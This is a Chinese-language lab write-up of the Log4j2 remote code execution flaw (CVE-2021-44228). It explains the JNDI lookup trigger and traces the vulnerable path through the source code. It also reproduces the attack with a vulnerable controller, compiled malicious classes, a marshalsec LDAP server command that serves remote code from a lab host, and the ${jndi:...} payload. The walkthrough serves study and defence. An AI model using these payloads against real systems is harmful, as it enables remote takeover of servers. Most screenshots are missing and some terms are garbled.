Apachelog4j2-RCE-漏洞(CVE-2021-44228)

1.漏洞简介

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
2021年11月24日,阿里云安全团队向Apache官方报告了Apahe Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
漏洞适用版本:2.0 <= Apache log4j2 <= 2.14.1

2.漏洞原理

2.1. 原理概述

Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致log4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞.

2.2.JNDI

开发人员一般会使用log4j2在日志中输出一些变量,log4j2 除了可以输出程序中的变量,它还提供了多种lookup功能插件,可以用来查找更多数据用于输出。lookup在log4j2中,就是允许在输出日志的时候,通过多种方式去查找要输出的内容,其中就可以使用/lookup
JNDI (lava Naming and Directory lnterface, JAVA命名和目录接口): 它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。INDI下面有很多目录接口,用于不同的数据源的查找引用。

2.3.触发过程

log4j2远程代码执行漏洞大致过程(此处使用RMI,LDAP同理):假设有一个ava程序,将用户名信息到了日志中,如下
1.攻击者发送一个HTTP请求,其用户名为 ${jndi:rmi://rmi服务器地址/Exploit)

2.被攻击服务器发现要输出的信息中有 ${},则其中的内容要单独处理,进一步解析是ND扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。
3.RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端文件下载服务器上含有恶意代码的class文件。
4.被攻击服务器通过Reference对象去请求文件下载服务器上的class文件

5.被攻击服务器下载恶意class文件并执行其中的恶意代码。

3.1.流程复现

3.1.1.开发环境搭建

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- Log4j2 的 API -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>

<!-- Log4j2 的 Core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

Controller

1
2
3
4
5
6
   private static final Logger logger = LogManager.getLogger(Log4j2Controller.class);
@GetMapping("/login")
public String login(@RequestParam String username){
logger.info("login username:" + username);
return "login username:" + username;
}

3.1.2.接口测试

image-20231013175734971

3.1.3.搭建ldap服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//jndi 代码执行恶意类
public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}
//将恶意类代码编译class文件
//javac calc.java
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.100.128:8888/#Calc" 1099

image-20231013175938905

开启打开计算器恶意类接口8888

image-20231013180356185

3.1.4.向日志服务器发送payload

​ 此服务username参数为日志信息接口

image-20231013180608294

​ 由于是get请求因此将参数进行url编码

image-20231013180750069

发送请求执行代码

image-20231016105204841

4.1.linux复现

4.1.1.启动vunhub

ip:192.168.100.129 port:8983

1
2
3
# 进入复现目录CVE-2021-44228
systemctl start docker
docker compose up -d

image-20231016181230556

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//恶意类代码
public class Expx{
public Expx(){
try{
Runtime.getRuntime().exec("touch /tmp/success1016");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Expx c = new Expx();
}
}

image-20231016181346493

image-20231016181403608

请求目标服务器

image-20231016181457274

命令执行成功

image-20231016181552356

5.1.直接dnslog测试

5.1.1.出网测试方法

image-20231016112311973

image-20231016112358635

5.1.1.局域网测试方法

起个文件服务,使用ldap/rmi协议访问同样有反应

image-20231016150740494

image-20231016150714223

6.log4j2源码污点跟踪

6.1.通过源码分析定位到MessagePatternFormatterConverter类

​ log4j2 将日志信息封装成一个事件对象,传入MessagePatternFormatterConverter.format对象,匹配$符号中的内容。

image-20231023102238689

​ 将消息解析去除${}解析为jndi语句

image-20231023103243779

​ 进入Interpolator.lookup()函数执行jndi语句

image-20231023103358520

识别前缀jndi

image-20231023103733225

进入JndiLookup.lookup()函数

image-20231023104333457

返回jndi字符串,调用jndiManager.lookup()函数

image-20231023104516503

通过JndiManager.class调用远程恶意类执行命令。

image-20231023105522869